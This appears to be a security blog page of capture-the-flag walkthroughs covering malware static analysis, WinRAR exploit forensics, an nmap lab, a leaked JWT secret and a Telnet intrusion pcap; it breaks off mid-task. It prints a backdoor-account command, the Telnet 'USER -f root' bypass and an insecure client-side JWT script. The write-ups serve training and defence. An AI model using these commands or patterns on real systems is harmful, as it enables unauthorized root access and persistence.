Capture the Flag

Hack the Box Walkthrough: PhantomRing

PhantomRing LogoThis post, we are going to tackle a Hack the Box Sherlock called PhantomRing. You can find it here. It is rated Very Easy, but Hack the Box skews a little harder than other sites, so there are still some good learning points here… even if you aren’t on Day 2 of your InfoSec journey. To get started, download the zip and extract the files using the provided password hacktheblue. Inside, you’ll find one file called simply agent.

Our given scenario is

Your organization's SOC team intercepted a suspicious binary during a routine threat hunting operation on a Linux server. The file was found in /var/tmp with an unusual name and was attempting to establish outbound connections. Initial analysis suggests this could be a post-exploitation agent. Your task is to perform static analysis on the binary to identify its capabilities, extract indicators of compromise, and understand the threat actor's infrastructure.

Task 1 Question: What is the SHA256 hash of the malicious binary?

This starts out easily enough. If you’re using Linux, you can just issue this command and get the result. (PS… yes this hash is in VirusTotal)

$ sha256sum agent                   
2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5  agent

Task 1 Answer: 2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5

Task 2 Question: What is the IP address hardcoded in the binary for C2 communication?
Let’s use strings right off the bat. That might help us with a few of these next couple of questions. In this case, I only see one IP Address returned.

$ strings agent              
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
## SNIP ## 
get 
recv 
users
netstat
kick
privesc
sdestruct
killbpf
exit
[*] 404 Command not found [*]
io_uring_queue_init
192.168.56.1
socket
io_uring_wait_cqe: %s
connect() failed: trying to reconnect
## SNIP ##
.data
.bss
.comment            

Task 2 Answer: 192.168.56.1

Task 3 Question: What port does the agent connect to on the C2 server?
Okay, the strings thing was a naive way to approach this and I knew Hack the Box would drive this deeper. I don’t see anything overtly obvious in strings, so I decided to use Ghidra to decompile it. You know you can do it without difficulty because it isn’t a stripped binary. How do I know that? If you run the file command on the file, it tells you.

$ file agent            
agent: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1f617f2ea259a7ec724d7bbc01627982dc2f0495, for GNU/Linux 3.2.0, not stripped

This isn’t a Ghidra tutorial (and trust me, you wouldn’t want me to give you one), but here are the steps I took. I created a new project, did File -> Import File to bring in the agent executable, and then after it loaded, right clicked it and did Open With -> CodeBrowser. Then, on the left hand side, there is a section called Symbol Tree. Scroll into functions, find the main and click to select it.

Ghidra's Symbol Tree

Then, go to the menu at the top of Ghidra and select Window -> Decompile:main (or hit CTRL-E).

That opens a code window to the right of the assembly code you had been looking at. It is written in C and doesn’t have any variables named in a friendly way. However, you can scan over the code or read through if you’re familiar with C. I was looking for something related to this network call, and found where it logged out what was being attempted.

printf("[+] Connected to %s:%d\n","192.168.56.1",0x115d);

That string format is telling you it is going to output this in the format of string:decimal and we know the string is going to be 192.168.56.1. But what’s the decimal? The decimal is being represented by the hex of 0x115d, which if you hover on it in CodeBrowser (or do the math), tells you that is 4445. And that’s our answer.

Task 3 Answer: 4445

Task 4 Question: How many seconds does the agent wait before attempting to reconnect after a failed connection?

Inside one of the nested while(true) loops, as it ends, the code does this:

sleep(0x78);

0x78 (again, do the math or hover on the value in Ghidra) is 120, which is our answer.

Task 4 Answer: 120

Task 5 Question: How many different commands does the agent support? (excluding invalid commands)

Over in the Symbol Tree, there is another function called process_cmd. Since we already have the Decompile window open, just click on process_cmd and the relevant code shows up. There is a long if-else statement in there that covers all the commands: recv, users, ss, netstat, ps, me, kick, privesc, sdestruct, killbpf, and exit.

Task 5 Answer: 11

Task 6 Question: What Linux kernel interface does this malware abuse to evade EDR syscall monitoring?
So, this one is what gives the room its name. If you look in the symbol tree, there are a ton of calls to io_uring_cq_advance, io_uring_cqe_seen, io_uring_prep_close… I think 14 in total. Googling it, you see that this interface was abused in RingReaper malware, so that should be our answer… and it is.

Task 6 Answer: io_uring

Task 7 Question: What file does the agent read to enumerate logged-in users?

Another function is called cmd_users, if we open it for decompile, we see the file being read

iVar2 = read_file_uring(param_1,"/var/run/utmp",local_4018,0x2000);

Task 7 Answer: /var/run/utmp

Task 8 Question: What directory does the agent scan when searching for SUID binaries for privilege escalation?

There is another function called cmd_privesc. Inside there, you can see this, giving us our answer.

local_4330 = opendir("/usr/bin");

Task 8 Answer: /usr/bin

Task 9 Question: What string does the agent search for in /proc/[pid]/maps to identify security tools using eBPF?

In the function, cmd_killbpf, if we scan down we can find this path. While working in there, it reads the file for the process (using read_file_uring), then searches for the string anon_inode:bpf-map

snprintf(local_6118,0x100,"/proc/%s/maps",local_6150->d_name);
*(undefined8 *)(puVar6 + -0x11a8) = 0x103cb2;
iVar2 = read_file_uring(param_1,local_6118,local_4018,0x4000);
} while (iVar2 < 1);
  *(undefined8 *)(puVar6 + -0x11a8) = 0x103cde;
  pcVar4 = strstr(local_4018,"anon_inode:bpf-map");

Task 9 Answer: anon_inode:bpf-map

Task 10 Question: What is the full path of the first tracing file the agent attempts to disable?

Same function. The first one in the array is the answer.

  local_6138[0] = "/sys/kernel/debug/tracing/tracing_on";
  local_6138[1] = "/sys/kernel/debug/tracing/set_event";
  local_6138[2] = "/sys/kernel/debug/tracing/current_tracer";

Task 10 Answer: /sys/kernel/debug/tracing/tracing_on

Task 11 Question: What procfs path does the agent read to find its own executable location before self-destruction?

In cmd_selfdestruct, it is right here:

local_2a8 = readlink("/proc/self/exe",local_218,0x1ff);

Task 11 Answer: /proc/self/exe

Task 12 Question: What command string is compared by the agent to trigger deletion of its own binary?

Back in Task 5, I listed all the commands and where to see them. It is the obvious one where the if/else leads to cmd_selfdestruct.

Task 12 Answer: sdestruct

And here we go.

PhantomRing Pwned

Any questions, let me know.

Capture the Flag

Hack the Box Walkthrough: RomCom

HTB RomCom LogoThis time, we’re going to tackle a Sherlock from Hack the Box called RomCom. To get started, download the zip, extract it with the password hacktheblue, and let’s get ready to work. Our scenario is

Susan works at the Research Lab in Forela International Hospital. A Microsoft Defender alert was received from her computer, and she also mentioned that while extracting a document from the received file, she received tons of errors, but the document opened just fine. According to the latest threat intel feeds, WinRAR is being exploited in the wild to gain initial access into networks, and WinRAR is one of the Software programs the staff uses. You are a threat intelligence analyst with some background in DFIR. You have been provided a lightweight triage image to kick off the investigation while the SOC team sweeps the environment to find other attack indicators.

Inside the zip is a disk image named 2025-09-02T083211_pathology_department_incidentalert.vhdx. If we treat this like a real investigation, we need to always make sure that the file is read only. When I mount it in Windows, I can click through and see “stuff”.

Mounting the Image as a Read Only Drive on my Machine

Let’s see what we have to do.

Task 1 Question: What is the CVE assigned to the WinRAR vulnerability exploited by the RomCom threat group in 2025?

So this one is just a Google problem. I searched romcom winrar vulnerability and the second link pointed me here, which gave the answer.

Task 1 Answer: CVE-2025-8088

Task 2 Question: What is the nature of this vulnerability?

Read the link and it is right there at the start.

Task 2 Answer: path traversal

Task 3 Question: What is the name of the archive file under Susan’s documents folder that exploits the vulnerability upon opening the archive file?

Here, I just want to dig in and look at the files. The Drive Label is “KAPE (2025-09-02T08:32:11)” and inside the C folder is an $MFT file. We know we’re dealing with KAPE artifacts now, so we need help from hero of the community, Eric Zimmerman. I was just going to use his suggestion and grab all tools so that I’m totally up to date. However, the download links are broken at the moment. I’m using a version from Chocolatey “choco install ericzimmermantools“, but it isn’t 100% up-to-date. However, I think this will get us enough of the tools to do this easy HTB room.

One of the tools that I got was called MFT Explorer. This is a graphical version of his famed MFTECmd tool. I used that to load up the image and here’s what I see.

The Disk Image in MFT Explorer

I used the tool to navigate to c:\users\susan\Documents and this is what I see, telling us the answer.

Susan's Documents Folder

Task 3 Answer: Pathology-Department-Research-Records.rar

Task 4 Question: When was the archive file created on the disk?

Look at the SI_Created On column.

Task 4 Answer: 2025-09-02 08:13:50

Task 5 Question: When was the archive file opened?

You can see this in SI_Record Changed or in the Overview tab when the file is selected under Record Modified On.

Flags: Archive, Max Version: 0x0, Flags 2: None, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x9DD, Quota Charged: 0x0 
Update Sequence #: 0x364A528

Created On:		2025-09-02 08:13:50.5190826
Content Modified On:	2025-09-02 14:54:54.0000000
Record Modified On:	2025-09-02 08:14:04.9807437
Last Accessed On:	2025-09-02 08:14:18.8730290

Task 5 Answer: 2025-09-02 08:14:04

Task 6 Question: What is the name of the decoy document extracted from the archive file, meant to appear legitimate and distract the user?

Using the 8:14:04 as a clue, we look in the Documents folder and see that a .pdf was created at 08:14:18 of the same day. That’s our file.

Task 6 Answer: Genotyping_Results_B57_Positive.pdf

Task 7 Question: What is the name and path of the actual backdoor executable dropped by the archive file?

We cheated a bit to get those last 2 answer. That’s not the best way to go about that. At this point, we need to not be lazy and do this correctly. We need to parse the journal and to do that, we’re going to use the MFTECmd.exe tool against the $J file and also give it the location of where to save the csv and what to call it.

PS > MFTECmd.exe -f 'd:\C\$Extend\$J' --csv "c:\code\" --csvf "Journal.csv"
MFTECmd version 2026.5.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd

Command line: -f d:\C\$Extend\$J --csv c:\code\ --csvf Journal.csv

File type: UsnJournal


Processed d:\C\$Extend\$J in 0.2817 seconds

Usn entries found in d:\C\$Extend\$J: 215,579
        CSV output will be saved to c:\code\Journal.csv

Okay, now we’re going to use another tool to open that csv called TimelineExplorer.exe that also gets installed when you get all of the Eric Zimmerman tools.

Timeline Explorer after Opening Journal.csv

I then added a filter for .exe files and then sorted by “Update Timestamp“. If we scroll down to the 2025-09-02 08:14:04 timeframe, we find our problem child.

The dropped backdoor file

So we can see the name, but not where it is dropped. We could look all around the MFT Explorer, but this is what I get for using GUI tools instead of going command line first. The best way to do this is to parse the $MFT file into a .csv also and use Timeline Explorer to get the path.

PS> MFTECmd.exe -f 'd:\C\$MFT' --csv "c:\code\" --csvf MFT.csv
MFTECmd version 2026.5.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd

Command line: -f d:\C\$MFT --csv c:\code\ --csvf MFT.csv

File type: Mft

Processed d:\C\$MFT in 1.7880 seconds

d:\C\$MFT: FILE records found: 139,533 (Free records: 0) File size: 136.5MB
        CSV output will be saved to c:\code\MFT.csv

Okay, when we open that up and search for the file name, it comes right up.

The dropped backdoor file path

Task 7 Answer: c:\users\susan\AppData\Local\ApbxHelper.exe

Task 8 Question: The exploit also drops a file to facilitate the persistence and execution of the backdoor. What is the path and name of this file?

Persistence and execution usually means that something needs to run on startup. So the first thing I’d check would be shortcuts in a startup path, next I’d check for services added. But when I just do a find for startup in Timeline Explorer in the MFT csv, I get 254 lines. The first one that appears after the incident (and any time for the next several minutes) is a file called Display Settings.lnk.

Task 8 Answer: c:\users\susan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Display Settings.lnk

Task 9 Question: What is the associated MITRE Technique ID discussed in the previous question?

I googled for mitre id for persistence via the startup folder and that let me to T1547:Boot or Logon Autostart Execution. I guessed the wrong sub-technique, thinking that it would be .001: Registry Run Keys / Startup Folder, but eventually figured that they wanted .009:Shortcut Modification.

Task 9 Answer: T1547.009

Task 10 Question: When was the decoy document opened by the end user, thinking it to be a legitimate document?

Within the MFT csv, search for the document name Genotyping_Results_B57_Positive.pdf, you can see when it was opened and you can confirm it in the Journal.csv.

Task 10 Answer: 2025-09-02 08:15:05

That’s it. Maybe not the most efficient run-through, but we got it done. Any questions or comments, please let me know.

Sherlock Complete

Capture the Flag

TryHackMe Walkthrough: Intermediate Nmap

TryHackMe Intermediate NmapWe’re going to break up our Hack the Box streak and switch over to doing a TryHackMe challenge this time called Intermediate Nmap. It is a premium room, which means that you have to be a subscriber to play along. If you aren’t a subscriber and you aren’t interested in becoming one, hopefully you can follow along and still learn or reinforce your learning with this walkthrough.

Here’s the description:
You’ve learned some great nmap skills! Now can you combine that with other skills with netcat and protocols, to log in to this machine and find the flag? This VM is listening on a high port, and if you connect to it it may give you some information you can use to connect to a lower port commonly used for remote access!

There is only one thing to answer for this room and it turns out that all they want is a flag. So let’s get after it. You can se the AttackBox or your own machine. I’m using my own Kali VM here, so I’ve downloaded my openvpn config file and I connect like this

sudo openvpn ~/Downloads/ThmPremium.ovpn

In my case, the IP of the machine is 10.64.156.76, so the first thing I do is give it enough time and then make sure that a) it is up and b) that I can see it through my VPN connection (this isn’t always a guarantee and I’ve had to get a newer config file in the past and reconnect and try again). After seeing some responses from the ping, I hit CTRL-C to stop it and move on

$ ping 10.64.156.76
PING 10.64.156.76 (10.64.156.76) 56(84) bytes of data.
64 bytes from 10.64.156.76: icmp_seq=1 ttl=62 time=67.8 ms
64 bytes from 10.64.156.76: icmp_seq=2 ttl=62 time=89.0 ms
64 bytes from 10.64.156.76: icmp_seq=3 ttl=62 time=73.8 ms
64 bytes from 10.64.156.76: icmp_seq=4 ttl=62 time=50.8 ms
^C
--- 10.64.156.76 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 50.790/70.361/89.006/13.682 ms

The next step is to run an nmap scan. They told us that there is a high port available as a hint. So, I’m not going to play around and I’m going to start by checking all TCP ports (-p-). This can take longer, especially when you are on a VPN instead of the AttackBox, but I don’t mind. The -T4 helps speed it up and I don’t mind waiting. As it is, this came back in about 13 seconds for me. The –sCV tells nmap to run default scripts (C) and to try to determine versions (V) of the services running.

$ nmap -sCV -p- -T4 10.64.156.76 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 12:13 -0400
Nmap scan report for 10.64.156.76
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7d:dc:eb:90:e4:af:33:d9:9f:0b:21:9a:fc:d5:77:f2 (RSA)
|   256 83:a7:4a:61:ef:93:a3:57:1a:57:38:5c:48:2a:eb:16 (ECDSA)
|_  256 30:bf:ef:94:08:86:07:00:f7:fc:df:e8:ed:fe:07:af (ED25519)
2222/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0b:8d:7c:be:ac:e7:ae:f5:29:c5:61:eb:fa:c1:93:c2 (RSA)
|   256 3d:16:86:a3:ee:9d:3a:8b:d1:00:3a:70:d2:20:e5:d9 (ECDSA)
|_  256 c1:fa:11:55:97:53:bb:a5:0b:8a:61:c0:12:60:ad:52 (ED25519)
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     In case I forget - user:pass
|_    ubuntu:Dafdas!!/str0ng
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.99%I=7%D=6/25%Time=6A3D53BA%P=x86_64-pc-linux-gnu%r(N
SF:ULL,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/st
SF:r0ng\n\n")%r(GetRequest,35,"In\x20case\x20I\x20forget\x20-\x20user:pass
SF:\nubuntu:Dafdas!!/str0ng\n\n")%r(SIPOptions,35,"In\x20case\x20I\x20forg
SF:et\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(GenericLines,35,"I
SF:n\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n"
SF:)%r(HTTPOptions,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu
SF::Dafdas!!/str0ng\n\n")%r(RTSPRequest,35,"In\x20case\x20I\x20forget\x20-
SF:\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(RPCCheck,35,"In\x20case\x
SF:20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(DNSVers
SF:ionBindReqTCP,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:D
SF:afdas!!/str0ng\n\n")%r(DNSStatusRequestTCP,35,"In\x20case\x20I\x20forge
SF:t\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(Help,35,"In\x20case
SF:\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(SSLSe
SF:ssionReq,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas
SF:!!/str0ng\n\n")%r(TerminalServerCookie,35,"In\x20case\x20I\x20forget\x2
SF:0-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(TLSSessionReq,35,"In\x2
SF:0case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(
SF:Kerberos,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas
SF:!!/str0ng\n\n")%r(SMBProgNeg,35,"In\x20case\x20I\x20forget\x20-\x20user
SF::pass\nubuntu:Dafdas!!/str0ng\n\n")%r(X11Probe,35,"In\x20case\x20I\x20f
SF:orget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(FourOhFourReque
SF:st,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str
SF:0ng\n\n")%r(LPDString,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\n
SF:ubuntu:Dafdas!!/str0ng\n\n")%r(LDAPSearchReq,35,"In\x20case\x20I\x20for
SF:get\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(LDAPBindReq,35,"I
SF:n\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n"
SF:)%r(LANDesk-RC,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:
SF:Dafdas!!/str0ng\n\n")%r(TerminalServer,35,"In\x20case\x20I\x20forget\x2
SF:0-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds

So, interesting. I see 3 ports open: 22 (running SSH), 2222 (running SSH), and 31337 (service unrecognized despite returning data) that tells us, “In case I forget – user:pass ubuntu:Dafdas!!/str0ng”

I decided to netcat directly to port 31337 and I just got that message and then the connection was closed. So that is seemingly all there is to find from that port.

$ nc 10.64.156.76 31337         
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

Okay. Well, we have 2 ports open with SSH, let’s try them in order.

$ ssh ubuntu@10.64.156.76                 
The authenticity of host '10.64.156.76 (10.64.156.76)' can't be established.
ED25519 key fingerprint is: SHA256:8VuYGtc5lO2sXK+MVsdbgQV9nF+EVHf8wJcrMAEWg10
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.64.156.76' (ED25519) to the list of known hosts.
ubuntu@10.64.156.76's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1014-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ 

That worked. When I try port 2222, I get rejected immediately for not providing a public key.

$ ssh ubuntu@10.64.156.76 -p 2222
The authenticity of host '[10.64.156.76]:2222 ([10.64.156.76]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:31v1b7mqLgFtZOZP/4qvBzUw5AzWmecr4m6GLPgDRJs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.64.156.76]:2222' (ED25519) to the list of known hosts.
ubuntu@10.64.156.76: Permission denied (publickey).

So, let’s keep working in that port 22 connection.

$ ls
$ pwd
/home/ubuntu
$ ls -la
total 28
drwxr-xr-x 1 ubuntu ubuntu 4096 Jun 25 16:18 .
drwxr-xr-x 1 root   root   4096 Mar  2  2022 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Jun 25 16:18 .cache
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
$ find / -name flag.txt 2>/dev/null                
/home/user/flag.txt
$ cat /home/user/flag.txt
flag{251f309497a18888dde5222761ea88e4}

So, I expected to find a flag in the directory. There wasn’t one. So I checked where I landed and it was /home/ubutu, as I figured. So, I checked for hidden contents and there was nothing really there. Lastly, I took a shot and just searched the entire computer for a file named flag.txt (piping errors to /dev/null). If that came up with nothing, my next step would have been to look for user.txt, which is another popular flag file name. But, that proved not to be necessary, and I found the file and was able to cat its contents to the screen and finish the challenge. Pretty light work, but a good exercise in some of the just-beyond-basic-but-not-a-whole-lot uses of nmap.

Any questions or comments, let me know.

Capture the Flag

Hack the Box Walkthrough: OpenSecret

OpenSecret Icon, courtesy of JippityToday, we’re going to tackle a Hack the Box Challenge called OpenSecret. Unlike the last few of these I’ve done, this is more of an offensive security challenge. Our challenge scenario is

A simple help desk portal where users can submit support tickets. The application uses JWT tokens for session management, but something seems off about how they’re implemented. Can you find the security flaw?


Task 1: Submit challenge Flag

After starting the challenge, you’ll be given a public IP to hit on a specific port, so no VPN access is required. For me, that IP:Port is 154.57.164.83:30250. Given the nature of the challenge (and that it is under the Category of “Web”), I know it will be a web application. Regardless, I did an nmap scan on just that port at that IP so I could know a little bit about it and it seems that this is a Node.js/Express application.

$ nmap -sCV -vv -p 30250 154.57.164.83                 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 13:19 -0400
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
Initiating Ping Scan at 13:19
Scanning 154.57.164.83 [4 ports]
Completed Ping Scan at 13:19, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:19
Completed Parallel DNS resolution of 1 host. at 13:19, 0.49s elapsed
Initiating SYN Stealth Scan at 13:19
Scanning 154-57-164-83.static.isp.htb.systems (154.57.164.83) [1 port]
Discovered open port 30250/tcp on 154.57.164.83
Discovered open port 30250/tcp on 154.57.164.83
Completed SYN Stealth Scan at 13:19, 0.24s elapsed (1 total ports)
Initiating Service scan at 13:19
Scanning 1 service on 154-57-164-83.static.isp.htb.systems (154.57.164.83)
Completed Service scan at 13:19, 11.45s elapsed (1 service on 1 host)
NSE: Script scanning 154.57.164.83.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 5.13s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.75s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
Nmap scan report for 154-57-164-83.static.isp.htb.systems (154.57.164.83)
Host is up, received reset ttl 128 (0.028s latency).
Scanned at 2026-05-14 13:19:09 EDT for 17s

PORT      STATE SERVICE REASON          VERSION
30250/tcp open  http    syn-ack ttl 128 Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: OpenSecret Helpdesk - Support Portal

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.39 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

Navigating to the site, we see this

OpenSecret Helpdesk Homepage

Given the description, I checked to see if there are any JWTs in storage already in the browser. I checked Cache Storage, Cookies, Indexed DB, Local Storage, and Session Storage, but nothing is there yet. Okay, I don’t see any other links, so I submitted the form with a name, email, and some pretend issue description words. Nothing fancy, no XSS attempts, etc. When I do, it tells me that no session token is provided.

OpenSecret No session token provided

Looking at the network call there, I just see this payload and these headers. No Cookies sent, and I don’t see an Auth Header.

{"name":"Bob Smith","description":"Blah blah blah.  All you ever do is say blah like things."}

OpenSecret Request Headers

Here is the response.

{"message":"No session token provided"}

So I need to see how this is being packaged up, so I take a look at the HTML source and … well, I guess the challenge is over. There is nothing really interesting in the HTML source until you get to the script tag at the end.

 <script>
    // JWT Secret Key
    const SECRET_KEY = "HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}";

    // Helper function to convert string to Base64URL
    function base64url(str) {
        return btoa(str)
            .replace(/\+/g, "-")
            .replace(/\//g, "_")
            .replace(/=/g, "");
    }

    // Generate a JWT session token for the user
    async function generateJWT() {
        // Check if user already has a token
        const existingToken = document.cookie
            .split("; ")
            .find((row) => row.startsWith("session_token="));

        if (existingToken) {
            console.log("Session token already exists");
            return;
        }

        // Create a random guest username
        const username = "guest_" + Math.floor(Math.random() * 10000);

        // JWT Header
        const header = { alg: "HS256", typ: "JWT" };

        // JWT Payload
        const payload = { username: username };

        // Encode header and payload
        const encodedHeader = base64url(JSON.stringify(header));
        const encodedPayload = base64url(JSON.stringify(payload));
        const data = encodedHeader + "." + encodedPayload;

        // Sign with SECRET_KEY using HMAC-SHA256
        const key = await crypto.subtle.importKey(
            "raw",
            new TextEncoder().encode(SECRET_KEY),
            { name: "HMAC", hash: "SHA-256" },
            false,
            ["sign"]
        );

        const signature = await crypto.subtle.sign(
            "HMAC",
            key,
            new TextEncoder().encode(data)
        );

        // Encode signature
        const encodedSignature = base64url(
            String.fromCharCode(...new Uint8Array(signature))
        );

        // Complete JWT token
        const token = data + "." + encodedSignature;

        // Store token in cookie
        document.cookie = `session_token=${token}; path=/; max-age=86400`;

        console.log("Generated session for:", username);
    }

    // Generate JWT token on page load
    generateJWT();

    // Handle ticket submission
    document
        .getElementById("submit-btn")
        .addEventListener("click", async (event) => {
            event.preventDefault();

            const name = document.getElementById("ticket-name").value;
            const description =
                document.getElementById("ticket-desc").value;

            const response = await fetch("/submit-ticket", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json",
                },
                body: JSON.stringify({ name, description }),
            });

            const result = await response.json();
            document.getElementById("message-display").textContent =
                result.message || "Ticket submitted successfully!";
        });
</script>

Task 1 Answer: HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}

That’s all there was to it. We don’t actually have to use that code and that “key” to impersonate anyone, this was just an easy example of the dangers of storing secrets openly (OHHHH, the room name makes so much sense now 😉 )

If you have any questions, let me know!

Capture the Flag

Hack the Box Walkthrough: Telly

Telly LogoToday, we’re going to attack a Hack the Box Sherlock called Telly. You need to download the attached zip and extract it with the password hacktheblue to get started. Here’s our scenario.

You are a Junior DFIR Analyst at an MSSP that provides continuous monitoring and DFIR services to SMBs. Your supervisor has tasked you with analyzing network telemetry from a compromised backup server. A DLP solution flagged a possible data exfiltration attempt from this server. According to the IT team, this server wasn’t very busy and was sometimes used to store backups.

Okay. Let’s get started. Inside the zip is one network capture file, monitoringservice_export_202610AM-11AM.pcapng.

Task 1: What CVE is associated with the vulnerability exploited in the Telnet protocol?

First we’ll search to limit to just telnet traffic, since that’s what they are telling us to focus on. I just put telnet in the search bar and hit enter. These were my results.

Our initial search for Task 1

Right click on that first packet (No. 47) and select Follow -> TCP Stream. You see this (I’m just showing the first few lines up until access is granted).

..%..&..... ..#..'..$
..%..&..&........ ..#..'..$
.. .....#.....'.........
.. .38400,38400....#.kali:0.0....'..USER.-f root.DISPLAY.kali:0.0......XTERM-256COLOR..
........"........!
........"..".....b........b....	B.
........
............................0.......!
..".....
.."....
..!............"..".............	..
........
.............
Linux 6.8.0-90-generic (backup-secondary) (pts/1)


........"
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)

I’m curious about that 4th line, so I’m going to google part of that and see if that is indicative of the attack itself.

Google Search for Task 1 CVE

That shows us the answer in the AI overview as well as the top search result.

Task 1 Answer: CVE-2026-24061

Task 2: When was the Telnet vulnerability successfully exploited, granting the attacker remote root access on the target machine?

Currently (for me, anyway), my time is being displayed in relative time since packet capture started. If you go to View -> Time Display Format -> UTC Date and Time of Day, it will change and you can see the answer.

Packet 47 Timestamp

Task 2 Answer: 2026-01-27 10:39:28

Task 3: What is the hostname of the targeted server?

If we go back to that TCP stream that we followed starting at packet 47, we can see the entire convo. After access was granted, they were dropped a command prompt with their user and the host: root@backup-secondary.

Task 3 Answer: backup-secondary

Task 4: The attacker created a backdoor account to maintain future access. What username and password were set for that account?

Same stream, we can see the attacker issued these commands

sudo useradd -m -s /bin/bash cleanupsvc; echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd

Task 4 Answer: cleanupsvc:YouKnowWhoiam69

Task 5: What was the full command the attacker used to download the persistence script?

